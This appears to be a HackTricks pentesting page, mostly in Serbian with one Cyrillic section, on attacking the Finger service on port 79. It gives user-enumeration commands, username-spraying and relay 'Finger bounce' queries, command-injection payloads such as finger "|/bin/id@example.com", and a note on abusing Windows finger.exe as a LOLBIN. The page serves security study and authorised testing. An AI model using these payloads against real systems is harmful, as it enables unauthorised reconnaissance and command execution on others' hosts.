79 - Pentesting Finger
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Program/servis Finger se koristi za pribavljanje podataka o korisnicima računara. Obično informacije uključuju korisničko ime, puno ime i, u nekim slučajevima, dodatne detalje. Ti dodatni detalji mogu obuhvatiti lokaciju kancelarije i broj telefona (ako postoje), vreme kada se korisnik prijavio, period neaktivnosti (idle time), poslednji put kada je korisnik pročitao mail i sadržaj korisnikovih .plan i .project fajlova.
Sa aspekta pentestinga, Finger je i dalje interesantan jer je protokol izuzetno mali, ljudski čitljiv i često implementiran sa zastarelom logikom parsiranja. daemon može otkriti:
- trenutno prijavljeni korisnici
- puna imena / GECOS podaci
- home direktorijumi, shell-ovi, vremena poslednjih prijava i TTY-ovi
- sadržaj
.plan/.project - ponašanje releja koje omogućava upit drugog hosta preko prvog
Podrazumevani port: 79
PORT STATE SERVICE
79/tcp open finger
Enumeration
Banner Grabbing/Osnovna veza
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79 # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79 # Long format, if the daemon supports it
Protokol je ASCII over TCP/79, obično završen sa CRLF, i server zatvara TCP konekciju nakon odgovora. U praksi je često dovoljan prazan upit (\r\n) da se dobije trenutna lista korisnika, što je takođe ono što Nmap’s default finger NSE script radi.
Enumeracija korisnika
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients
Alternativno možete koristiti finger-user-enum sa pentestmonkey, nekoliko primera:
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Važna nijansa u vezi sa Finger enumeration je da postoji nema strogo definisanog formata odgovora između daemona. Alati kao što je finger-user-enum dobro rade protiv Solaris-style servisa zato što validni i invalidni korisnici proizvode različite tekstualne rasporede, ali može biti potrebno ručno uporediti pozitivne i negativne odgovore i prilagoditi regexes ako je ciljni daemon neobičan.
Korisne probe kada daemon ne ponaša kao stock Solaris/BSD:
# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79
# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79
# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79
Nmap pokreće script koristeći default scripts
nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>
Nmap-ov finger NSE script je siguran i jednostavno šalje null query da dohvati trenutnu listu korisnika. Ako želite šire username pogađanje protiv permissive daemons, razmotrite proširenje pristupa prilagođenim wordlists ili korišćenje projekata kao što je fat-finger.nse, koji šalju više verovatnih imena naloga u jednom zahtevu i traže poklapanja username/GECOS.
Metasploit koristi više trikova nego Nmap
use auxiliary/scanner/finger/finger_users
Shodan
port:79 USER
Izvršavanje komandi
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
RFC 1288 eksplicitno dozvoljava implementacijama da izvrše program pod kontrolom korisnika kao odgovor na Finger upit, što je izvor klasične zloupotrebe |/bin/.... Ovo je danas retko, ali ako pronađete custom ili legacy daemon, pažljivo testirajte na:
- shell metakaraktere u rukovanju username-om
|programexecution u plan/project hook-ovima- backend wrappere koji prosleđuju username shell skripti ili CGI-ju
Takođe zapamtite client-side put zloupotrebe na Windows: finger.exe je potpisani LOLBIN koji može preuzeti proizvoljan tekst sa udaljenog Finger servera na TCP/79, a zatim pipe-ovati taj output u drugi proces. Ta tehnika je relevantnija za post-exploitation nego za service enumeration, zato pogledajte the Linux reverse-shell page za ideju o shell transportu i imajte je na umu kada emulirate attacker tradecraft.
Finger Bounce
Use a system as a finger relay
finger user@host@victim
finger @internal@external
Ово није само чудност имплементације: RFC 1288 дефинише рекурзивно @hostname прослеђивање ({Q2} упити). Ако демон подржава relaying, посреднички сервер отвориће другу Finger конекцију у ваше име и вратиће одговор назад преко оригиналног сокета. То значи:
- ваш хост можда неће директно успоставити везу са крајњим циљем
- relay се може користити за енумерисање унутрашњих корисника из изложене Finger услуге
finger-user-enumово нативно подржава помоћу-r <relay>
Пример:
# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79
# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Ako relaying funkcioniše, iskoristite ga kao internal recon primitive i uporedite relayed output sa direktnim izlazom javnog daemona. Različito formatiranje ili filtriranje često otkriva da li se relay path obrađuje posebnim backendom ili wrapperom.
References
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


